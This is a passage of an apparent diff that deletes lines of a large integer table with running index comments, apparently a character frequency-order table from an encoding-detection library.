-3243, 475,1447,3617,7322, 117,  21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934
- 706, 456, 150, 613,4299,  71,1118,2036,4064, 145,3069,  85, 835, 486,2114,1246, # 2950
-1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966
-3503,3110,7325,1955,1153,4065,  83, 296,1199,3070, 192, 624,  93,7326, 822,1897, # 2982
-2810,3111, 795,2064, 991,1554,1542,1592,  27,  43,2853, 859, 139,1456, 860,4300, # 2998
- 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014
-3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030
-1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046
-7328,7329,2173,3176,3619,2673, 593, 845,1062,3244,  88,1723,2037,3875,1950, 212, # 3062
- 266, 152, 149, 468,1898,4066,4302,  77, 187,7330,3018,  37,   5,2972,7331,3876, # 3078
-7332,7333,  39,2517,4303,2894,3177,2078,  55, 148,  74,4304, 545, 483,1474,1029, # 3094
-1665, 217,1869,1531,3113,1104,2645,4067,  24, 172,3507, 900,3877,3508,3509,4305, # 3110
-  32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674,   4,3019,3314,1427,1788, # 3126
- 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142
-3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439,  38,7339,1063,7340, 794, # 3158
-3879,1435,2296,  46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804,  35, 707, # 3174
- 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190
-2128,1363,3623,1423, 697, 100,3071,  48,  70,1231, 495,3114,2193,7345,1294,7346, # 3206
-2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222
- 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238
- 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254
-3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270
-1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286
-1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302
-1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381,   7, # 3318
-2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334
- 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350
-4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366
-1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382
-7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398
-2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414
- 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430
-  98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446
- 523,2776,2777,2648,7364, 141,2231,1333,  68, 176, 441, 876, 907,4077, 603,2592, # 3462
- 710, 171,3417, 404, 549,  18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478
-7366,2973, 368,7367, 146, 366,  99, 871,3627,1543, 748, 807,1586,1185,  22,2258, # 3494
- 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510
-1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371,  59,7372, # 3526
- 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542
- 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558
-7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574
-1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590
- 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606
-3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622
-4081,  57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638
-3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654
- 279,3120,  51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670
- 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686
-1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702
-4084,2468,1436, 953,4085,2054,4331, 671,2395,  79,4086,2441,3252, 608, 567,2680, # 3718
-3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734
-3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750
-2397,7400,7401,7402,4089,3025,   0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766
-7404, 233,4090,3631,1818,4336,4337,7405,  96,1776,1315,2082,7406, 257,7407,1809, # 3782
-3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798
-7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814
-1484,7413,1712, 127,  67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830
-2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846
-1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862
-  78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878
-1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894
-4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910
-3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926
- 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942
- 165, 243,4345,3637,2521, 123, 683,4096, 764,4346,  36,3895,1792, 589,2902, 816, # 3958
- 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974
-2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990
-7425, 611,1156, 854,2381,1316,2861,   2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006
-1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022
-2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038
-1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054
-1993,7438,4350,7439,7440,2195,  13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070
-7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086
-7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102
-7452, 128,2132,  92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118
-3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134
-4353,2248,  94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150
-1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166
-7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182
-2332,2067,  23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198
-7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214
-3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230
-3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863,  41,7473, # 4246
-7474,4361,7475,1657,2333,  19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262
-2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278
-7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294
- 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310
-4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326
-2683, 733,  40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342
-7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358
-3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374
-2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390
-2752,2986,7490, 435,7491, 343,1108, 596,  17,1751,4365,2235,3430,3643,7492,4366, # 4406
- 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422
-2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438
-1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454
-1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470
-2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486
-1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502
-7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518
-7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534
-2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550
-4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566
-1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551,  30,2263,4122, # 4582
-7511,2026,4386,3534,7512, 501,7513,4123, 594,3431,2165,1821,3535,3432,3536,3192, # 4598
- 829,2826,4124,7514,1680,3132,1225,4125,7515,3262,4387,4126,3133,2336,7516,4388, # 4614
-4127,7517,3912,3913,7518,1847,2383,2596,3330,7519,4389, 374,3914, 652,4128,4129, # 4630
- 375,1140, 798,7520,7521,7522,2361,4390,2264, 546,1659, 138,3031,2445,4391,7523, # 4646
-2250, 612,1848, 910, 796,3765,1740,1371, 825,3766,3767,7524,2906,2554,7525, 692, # 4662
- 444,3032,2624, 801,4392,4130,7526,1491, 244,1053,3033,4131,4132, 340,7527,3915, # 4678
-1041,2987, 293,1168,  87,1357,7528,1539, 959,7529,2236, 721, 694,4133,3768, 219, # 4694
-1478, 644,1417,3331,2656,1413,1401,1335,1389,3916,7530,7531,2988,2362,3134,1825, # 4710
- 730,1515, 184,2827,  66,4393,7532,1660,2943, 246,3332, 378,1457, 226,3433, 975, # 4726
-3917,2944,1264,3537, 674, 696,7533, 163,7534,1141,2417,2166, 713,3538,3333,4394, # 4742
-3918,7535,7536,1186,  15,7537,1079,1070,7538,1522,3193,3539, 276,1050,2716, 758, # 4758
-1126, 653,2945,3263,7539,2337, 889,3540,3919,3081,2989, 903,1250,4395,3920,3434, # 4774
-3541,1342,1681,1718, 766,3264, 286,  89,2946,3649,7540,1713,7541,2597,3334,2990, # 4790
-7542,2947,2215,3194,2866,7543,4396,2498,2526, 181, 387,1075,3921, 731,2187,3335, # 4806
-7544,3265, 310, 313,3435,2299, 770,4134,  54,3034, 189,4397,3082,3769,3922,7545, # 4822
-1230,1617,1849, 355,3542,4135,4398,3336, 111,4136,3650,1350,3135,3436,3035,4137, # 4838
-2149,3266,3543,7546,2784,3923,3924,2991, 722,2008,7547,1071, 247,1207,2338,2471, # 4854
-1378,4399,2009, 864,1437,1214,4400, 373,3770,1142,2216, 667,4401, 442,2753,2555, # 4870
-3771,3925,1968,4138,3267,1839, 837, 170,1107, 934,1336,1882,7548,7549,2118,4139, # 4886
-2828, 743,1569,7550,4402,4140, 582,2384,1418,3437,7551,1802,7552, 357,1395,1729, # 4902
-3651,3268,2418,1564,2237,7553,3083,3772,1633,4403,1114,2085,4141,1532,7554, 482, # 4918
-2446,4404,7555,7556,1492, 833,1466,7557,2717,3544,1641,2829,7558,1526,1272,3652, # 4934
-4142,1686,1794, 416,2556,1902,1953,1803,7559,3773,2785,3774,1159,2316,7560,2867, # 4950
-4405,1610,1584,3036,2419,2754, 443,3269,1163,3136,7561,7562,3926,7563,4143,2499, # 4966
-3037,4406,3927,3137,2103,1647,3545,2010,1872,4144,7564,4145, 431,3438,7565, 250, # 4982
-  97,  81,4146,7566,1648,1850,1558, 160, 848,7567, 866, 740,1694,7568,2201,2830, # 4998
-3195,4147,4407,3653,1687, 950,2472, 426, 469,3196,3654,3655,3928,7569,7570,1188, # 5014
- 424,1995, 861,3546,4148,3775,2202,2685, 168,1235,3547,4149,7571,2086,1674,4408, # 5030
-3337,3270, 220,2557,1009,7572,3776, 670,2992, 332,1208, 717,7573,7574,3548,2447, # 5046
-3929,3338,7575, 513,7576,1209,2868,3339,3138,4409,1080,7577,7578,7579,7580,2527, # 5062
-3656,3549, 815,1587,3930,3931,7581,3550,3439,3777,1254,4410,1328,3038,1390,3932, # 5078
-1741,3933,3778,3934,7582, 236,3779,2448,3271,7583,7584,3657,3780,1273,3781,4411, # 5094
-7585, 308,7586,4412, 245,4413,1851,2473,1307,2575, 430, 715,2136,2449,7587, 270, # 5110
- 199,2869,3935,7588,3551,2718,1753, 761,1754, 725,1661,1840,4414,3440,3658,7589, # 5126
-7590, 587,  14,3272, 227,2598, 326, 480,2265, 943,2755,3552, 291, 650,1883,7591, # 5142
-1702,1226, 102,1547,  62,3441, 904,4415,3442,1164,4150,7592,7593,1224,1548,2756, # 5158
- 391, 498,1493,7594,1386,1419,7595,2055,1177,4416, 813, 880,1081,2363, 566,1145, # 5174
-4417,2286,1001,1035,2558,2599,2238, 394,1286,7596,7597,2068,7598,  86,1494,1730, # 5190
-3936, 491,1588, 745, 897,2948, 843,3340,3937,2757,2870,3273,1768, 998,2217,2069, # 5206
- 397,1826,1195,1969,3659,2993,3341, 284,7599,3782,2500,2137,2119,1903,7600,3938, # 5222
-2150,3939,4151,1036,3443,1904, 114,2559,4152, 209,1527,7601,7602,2949,2831,2625, # 5238
-2385,2719,3139, 812,2560,7603,3274,7604,1559, 737,1884,3660,1210, 885,  28,2686, # 5254
-3553,3783,7605,4153,1004,1779,4418,7606, 346,1981,2218,2687,4419,3784,1742, 797, # 5270
-1642,3940,1933,1072,1384,2151, 896,3941,3275,3661,3197,2871,3554,7607,2561,1958, # 5286
-4420,2450,1785,7608,7609,7610,3942,4154,1005,1308,3662,4155,2720,4421,4422,1528, # 5302
-2600, 161,1178,4156,1982, 987,4423,1101,4157, 631,3943,1157,3198,2420,1343,1241, # 5318
-1016,2239,2562, 372, 877,2339,2501,1160, 555,1934, 911,3944,7611, 466,1170, 169, # 5334
-1051,2907,2688,3663,2474,2994,1182,2011,2563,1251,2626,7612, 992,2340,3444,1540, # 5350
-2721,1201,2070,2401,1996,2475,7613,4424, 528,1922,2188,1503,1873,1570,2364,3342, # 5366
-3276,7614, 557,1073,7615,1827,3445,2087,2266,3140,3039,3084, 767,3085,2786,4425, # 5382
-1006,4158,4426,2341,1267,2176,3664,3199, 778,3945,3200,2722,1597,2657,7616,4427, # 5398
-7617,3446,7618,7619,7620,3277,2689,1433,3278, 131,  95,1504,3946, 723,4159,3141, # 5414
-1841,3555,2758,2189,3947,2027,2104,3665,7621,2995,3948,1218,7622,3343,3201,3949, # 5430
-4160,2576, 248,1634,3785, 912,7623,2832,3666,3040,3786, 654,  53,7624,2996,7625, # 5446
-1688,4428, 777,3447,1032,3950,1425,7626, 191, 820,2120,2833, 971,4429, 931,3202, # 5462
- 135, 664, 783,3787,1997, 772,2908,1935,3951,3788,4430,2909,3203, 282,2723, 640, # 5478
-1372,3448,1127, 922, 325,3344,7627,7628, 711,2044,7629,7630,3952,2219,2787,1936, # 5494
-3953,3345,2220,2251,3789,2300,7631,4431,3790,1258,3279,3954,3204,2138,2950,3955, # 5510
-3956,7632,2221, 258,3205,4432, 101,1227,7633,3280,1755,7634,1391,3281,7635,2910, # 5526
-2056, 893,7636,7637,7638,1402,4161,2342,7639,7640,3206,3556,7641,7642, 878,1325, # 5542
-1780,2788,4433, 259,1385,2577, 744,1183,2267,4434,7643,3957,2502,7644, 684,1024, # 5558
-4162,7645, 472,3557,3449,1165,3282,3958,3959, 322,2152, 881, 455,1695,1152,1340, # 5574
- 660, 554,2153,4435,1058,4436,4163, 830,1065,3346,3960,4437,1923,7646,1703,1918, # 5590
-7647, 932,2268, 122,7648,4438, 947, 677,7649,3791,2627, 297,1905,1924,2269,4439, # 5606
-2317,3283,7650,7651,4164,7652,4165,  84,4166, 112, 989,7653, 547,1059,3961, 701, # 5622
-3558,1019,7654,4167,7655,3450, 942, 639, 457,2301,2451, 993,2951, 407, 851, 494, # 5638
-4440,3347, 927,7656,1237,7657,2421,3348, 573,4168, 680, 921,2911,1279,1874, 285, # 5654
- 790,1448,1983, 719,2167,7658,7659,4441,3962,3963,1649,7660,1541, 563,7661,1077, # 5670
-7662,3349,3041,3451, 511,2997,3964,3965,3667,3966,1268,2564,3350,3207,4442,4443, # 5686
-7663, 535,1048,1276,1189,2912,2028,3142,1438,1373,2834,2952,1134,2012,7664,4169, # 5702
-1238,2578,3086,1259,7665, 700,7666,2953,3143,3668,4170,7667,4171,1146,1875,1906, # 5718
-4444,2601,3967, 781,2422, 132,1589, 203, 147, 273,2789,2402, 898,1786,2154,3968, # 5734
-3969,7668,3792,2790,7669,7670,4445,4446,7671,3208,7672,1635,3793, 965,7673,1804, # 5750
-2690,1516,3559,1121,1082,1329,3284,3970,1449,3794,  65,1128,2835,2913,2759,1590, # 5766
-3795,7674,7675,  12,2658,  45, 976,2579,3144,4447, 517,2528,1013,1037,3209,7676, # 5782
-3796,2836,7677,3797,7678,3452,7679,2602, 614,1998,2318,3798,3087,2724,2628,7680, # 5798
-2580,4172, 599,1269,7681,1810,3669,7682,2691,3088, 759,1060, 489,1805,3351,3285, # 5814
-1358,7683,7684,2386,1387,1215,2629,2252, 490,7685,7686,4173,1759,2387,2343,7687, # 5830
-4448,3799,1907,3971,2630,1806,3210,4449,3453,3286,2760,2344, 874,7688,7689,3454, # 5846
-3670,1858,  91,2914,3671,3042,3800,4450,7690,3145,3972,2659,7691,3455,1202,1403, # 5862
-3801,2954,2529,1517,2503,4451,3456,2504,7692,4452,7693,2692,1885,1495,1731,3973, # 5878
-2365,4453,7694,2029,7695,7696,3974,2693,1216, 237,2581,4174,2319,3975,3802,4454, # 5894
-4455,2694,3560,3457, 445,4456,7697,7698,7699,7700,2761,  61,3976,3672,1822,3977, # 5910
-7701, 687,2045, 935, 925, 405,2660, 703,1096,1859,2725,4457,3978,1876,1367,2695, # 5926
-3352, 918,2105,1781,2476, 334,3287,1611,1093,4458, 564,3146,3458,3673,3353, 945, # 5942
-2631,2057,4459,7702,1925, 872,4175,7703,3459,2696,3089, 349,4176,3674,3979,4460, # 5958
-3803,4177,3675,2155,3980,4461,4462,4178,4463,2403,2046, 782,3981, 400, 251,4179, # 5974
-1624,7704,7705, 277,3676, 299,1265, 476,1191,3804,2121,4180,4181,1109, 205,7706, # 5990
-2582,1000,2156,3561,1860,7707,7708,7709,4464,7710,4465,2565, 107,2477,2157,3982, # 6006
-3460,3147,7711,1533, 541,1301, 158, 753,4182,2872,3562,7712,1696, 370,1088,4183, # 6022
-4466,3563, 579, 327, 440, 162,2240, 269,1937,1374,3461, 968,3043,  56,1396,3090, # 6038
-2106,3288,3354,7713,1926,2158,4467,2998,7714,3564,7715,7716,3677,4468,2478,7717, # 6054
-2791,7718,1650,4469,7719,2603,7720,7721,3983,2661,3355,1149,3356,3984,3805,3985, # 6070
-7722,1076,  49,7723, 951,3211,3289,3290, 450,2837, 920,7724,1811,2792,2366,4184, # 6086
-1908,1138,2367,3806,3462,7725,3212,4470,1909,1147,1518,2423,4471,3807,7726,4472, # 6102
-2388,2604, 260,1795,3213,7727,7728,3808,3291, 708,7729,3565,1704,7730,3566,1351, # 6118
-1618,3357,2999,1886, 944,4185,3358,4186,3044,3359,4187,7731,3678, 422, 413,1714, # 6134
-3292, 500,2058,2345,4188,2479,7732,1344,1910, 954,7733,1668,7734,7735,3986,2404, # 6150
-4189,3567,3809,4190,7736,2302,1318,2505,3091, 133,3092,2873,4473, 629,  31,2838, # 6166
-2697,3810,4474, 850, 949,4475,3987,2955,1732,2088,4191,1496,1852,7737,3988, 620, # 6182
-3214, 981,1242,3679,3360,1619,3680,1643,3293,2139,2452,1970,1719,3463,2168,7738, # 6198
-3215,7739,7740,3361,1828,7741,1277,4476,1565,2047,7742,1636,3568,3093,7743, 869, # 6214
-2839, 655,3811,3812,3094,3989,3000,3813,1310,3569,4477,7744,7745,7746,1733, 558, # 6230
-4478,3681, 335,1549,3045,1756,4192,3682,1945,3464,1829,1291,1192, 470,2726,2107, # 6246
-2793, 913,1054,3990,7747,1027,7748,3046,3991,4479, 982,2662,3362,3148,3465,3216, # 6262
-3217,1946,2794,7749, 571,4480,7750,1830,7751,3570,2583,1523,2424,7752,2089, 984, # 6278
-4481,3683,1959,7753,3684, 852, 923,2795,3466,3685, 969,1519, 999,2048,2320,1705, # 6294
-7754,3095, 615,1662, 151, 597,3992,2405,2321,1049, 275,4482,3686,4193, 568,3687, # 6310
-3571,2480,4194,3688,7755,2425,2270, 409,3218,7756,1566,2874,3467,1002, 769,2840, # 6326
- 194,2090,3149,3689,2222,3294,4195, 628,1505,7757,7758,1763,2177,3001,3993, 521, # 6342
-1161,2584,1787,2203,2406,4483,3994,1625,4196,4197, 412,  42,3096, 464,7759,2632, # 6358
-4484,3363,1760,1571,2875,3468,2530,1219,2204,3814,2633,2140,2368,4485,4486,3295, # 6374
-1651,3364,3572,7760,7761,3573,2481,3469,7762,3690,7763,7764,2271,2091, 460,7765, # 6390
-4487,7766,3002, 962, 588,3574, 289,3219,2634,1116,  52,7767,3047,1796,7768,7769, # 6406
-7770,1467,7771,1598,1143,3691,4198,1984,1734,1067,4488,1280,3365, 465,4489,1572, # 6422
- 510,7772,1927,2241,1812,1644,3575,7773,4490,3692,7774,7775,2663,1573,1534,7776, # 6438
-7777,4199, 536,1807,1761,3470,3815,3150,2635,7778,7779,7780,4491,3471,2915,1911, # 6454
-2796,7781,3296,1122, 377,3220,7782, 360,7783,7784,4200,1529, 551,7785,2059,3693, # 6470
-1769,2426,7786,2916,4201,3297,3097,2322,2108,2030,4492,1404, 136,1468,1479, 672, # 6486
-1171,3221,2303, 271,3151,7787,2762,7788,2049, 678,2727, 865,1947,4493,7789,2013, # 6502
-3995,2956,7790,2728,2223,1397,3048,3694,4494,4495,1735,2917,3366,3576,7791,3816, # 6518
- 509,2841,2453,2876,3817,7792,7793,3152,3153,4496,4202,2531,4497,2304,1166,1010, # 6534
- 552, 681,1887,7794,7795,2957,2958,3996,1287,1596,1861,3154, 358, 453, 736, 175, # 6550
- 478,1117, 905,1167,1097,7796,1853,1530,7797,1706,7798,2178,3472,2287,3695,3473, # 6566
-3577,4203,2092,4204,7799,3367,1193,2482,4205,1458,2190,2205,1862,1888,1421,3298, # 6582
-2918,3049,2179,3474, 595,2122,7800,3997,7801,7802,4206,1707,2636, 223,3696,1359, # 6598
- 751,3098, 183,3475,7803,2797,3003, 419,2369, 633, 704,3818,2389, 241,7804,7805, # 6614
-7806, 838,3004,3697,2272,2763,2454,3819,1938,2050,3998,1309,3099,2242,1181,7807, # 6630
-1136,2206,3820,2370,1446,4207,2305,4498,7808,7809,4208,1055,2605, 484,3698,7810, # 6646
-3999, 625,4209,2273,3368,1499,4210,4000,7811,4001,4211,3222,2274,2275,3476,7812, # 6662
-7813,2764, 808,2606,3699,3369,4002,4212,3100,2532, 526,3370,3821,4213, 955,7814, # 6678
-1620,4214,2637,2427,7815,1429,3700,1669,1831, 994, 928,7816,3578,1260,7817,7818, # 6694
-7819,1948,2288, 741,2919,1626,4215,2729,2455, 867,1184, 362,3371,1392,7820,7821, # 6710
-4003,4216,1770,1736,3223,2920,4499,4500,1928,2698,1459,1158,7822,3050,3372,2877, # 6726
-1292,1929,2506,2842,3701,1985,1187,2071,2014,2607,4217,7823,2566,2507,2169,3702, # 6742
-2483,3299,7824,3703,4501,7825,7826, 666,1003,3005,1022,3579,4218,7827,4502,1813, # 6758
-2253, 574,3822,1603, 295,1535, 705,3823,4219, 283, 858, 417,7828,7829,3224,4503, # 6774
-4504,3051,1220,1889,1046,2276,2456,4004,1393,1599, 689,2567, 388,4220,7830,2484, # 6790
- 802,7831,2798,3824,2060,1405,2254,7832,4505,3825,2109,1052,1345,3225,1585,7833, # 6806
- 809,7834,7835,7836, 575,2730,3477, 956,1552,1469,1144,2323,7837,2324,1560,2457, # 6822
-3580,3226,4005, 616,2207,3155,2180,2289,7838,1832,7839,3478,4506,7840,1319,3704, # 6838
-3705,1211,3581,1023,3227,1293,2799,7841,7842,7843,3826, 607,2306,3827, 762,2878, # 6854
-1439,4221,1360,7844,1485,3052,7845,4507,1038,4222,1450,2061,2638,4223,1379,4508, # 6870
-2585,7846,7847,4224,1352,1414,2325,2921,1172,7848,7849,3828,3829,7850,1797,1451, # 6886
-7851,7852,7853,7854,2922,4006,4007,2485,2346, 411,4008,4009,3582,3300,3101,4509, # 6902
-1561,2664,1452,4010,1375,7855,7856,  47,2959, 316,7857,1406,1591,2923,3156,7858, # 6918
-1025,2141,3102,3157, 354,2731, 884,2224,4225,2407, 508,3706, 726,3583, 996,2428, # 6934
-3584, 729,7859, 392,2191,1453,4011,4510,3707,7860,7861,2458,3585,2608,1675,2800, # 6950
- 919,2347,2960,2348,1270,4511,4012,  73,7862,7863, 647,7864,3228,2843,2255,1550, # 6966
-1346,3006,7865,1332, 883,3479,7866,7867,7868,7869,3301,2765,7870,1212, 831,1347, # 6982
-4226,4512,2326,3830,1863,3053, 720,3831,4513,4514,3832,7871,4227,7872,7873,4515, # 6998
-7874,7875,1798,4516,3708,2609,4517,3586,1645,2371,7876,7877,2924, 669,2208,2665, # 7014
-2429,7878,2879,7879,7880,1028,3229,7881,4228,2408,7882,2256,1353,7883,7884,4518, # 7030
-3158, 518,7885,4013,7886,4229,1960,7887,2142,4230,7888,7889,3007,2349,2350,3833, # 7046
- 516,1833,1454,4014,2699,4231,4519,2225,2610,1971,1129,3587,7890,2766,7891,2961, # 7062
-1422, 577,1470,3008,1524,3373,7892,7893, 432,4232,3054,3480,7894,2586,1455,2508, # 7078
-2226,1972,1175,7895,1020,2732,4015,3481,4520,7896,2733,7897,1743,1361,3055,3482, # 7094
-2639,4016,4233,4521,2290, 895, 924,4234,2170, 331,2243,3056, 166,1627,3057,1098, # 7110
-7898,1232,2880,2227,3374,4522, 657, 403,1196,2372, 542,3709,3375,1600,4235,3483, # 7126
-7899,4523,2767,3230, 576, 530,1362,7900,4524,2533,2666,3710,4017,7901, 842,3834, # 7142
-7902,2801,2031,1014,4018, 213,2700,3376, 665, 621,4236,7903,3711,2925,2430,7904, # 7158
-2431,3302,3588,3377,7905,4237,2534,4238,4525,3589,1682,4239,3484,1380,7906, 724, # 7174
-2277, 600,1670,7907,1337,1233,4526,3103,2244,7908,1621,4527,7909, 651,4240,7910, # 7190
-1612,4241,2611,7911,2844,7912,2734,2307,3058,7913, 716,2459,3059, 174,1255,2701, # 7206
-4019,3590, 548,1320,1398, 728,4020,1574,7914,1890,1197,3060,4021,7915,3061,3062, # 7222
-3712,3591,3713, 747,7916, 635,4242,4528,7917,7918,7919,4243,7920,7921,4529,7922, # 7238
-3378,4530,2432, 451,7923,3714,2535,2072,4244,2735,4245,4022,7924,1764,4531,7925, # 7254
-4246, 350,7926,2278,2390,2486,7927,4247,4023,2245,1434,4024, 488,4532, 458,4248, # 7270
-4025,3715, 771,1330,2391,3835,2568,3159,2159,2409,1553,2667,3160,4249,7928,2487, # 7286
-2881,2612,1720,2702,4250,3379,4533,7929,2536,4251,7930,3231,4252,2768,7931,2015, # 7302
-2736,7932,1155,1017,3716,3836,7933,3303,2308, 201,1864,4253,1430,7934,4026,7935, # 7318
-7936,7937,7938,7939,4254,1604,7940, 414,1865, 371,2587,4534,4535,3485,2016,3104, # 7334
-4536,1708, 960,4255, 887, 389,2171,1536,1663,1721,7941,2228,4027,2351,2926,1580, # 7350
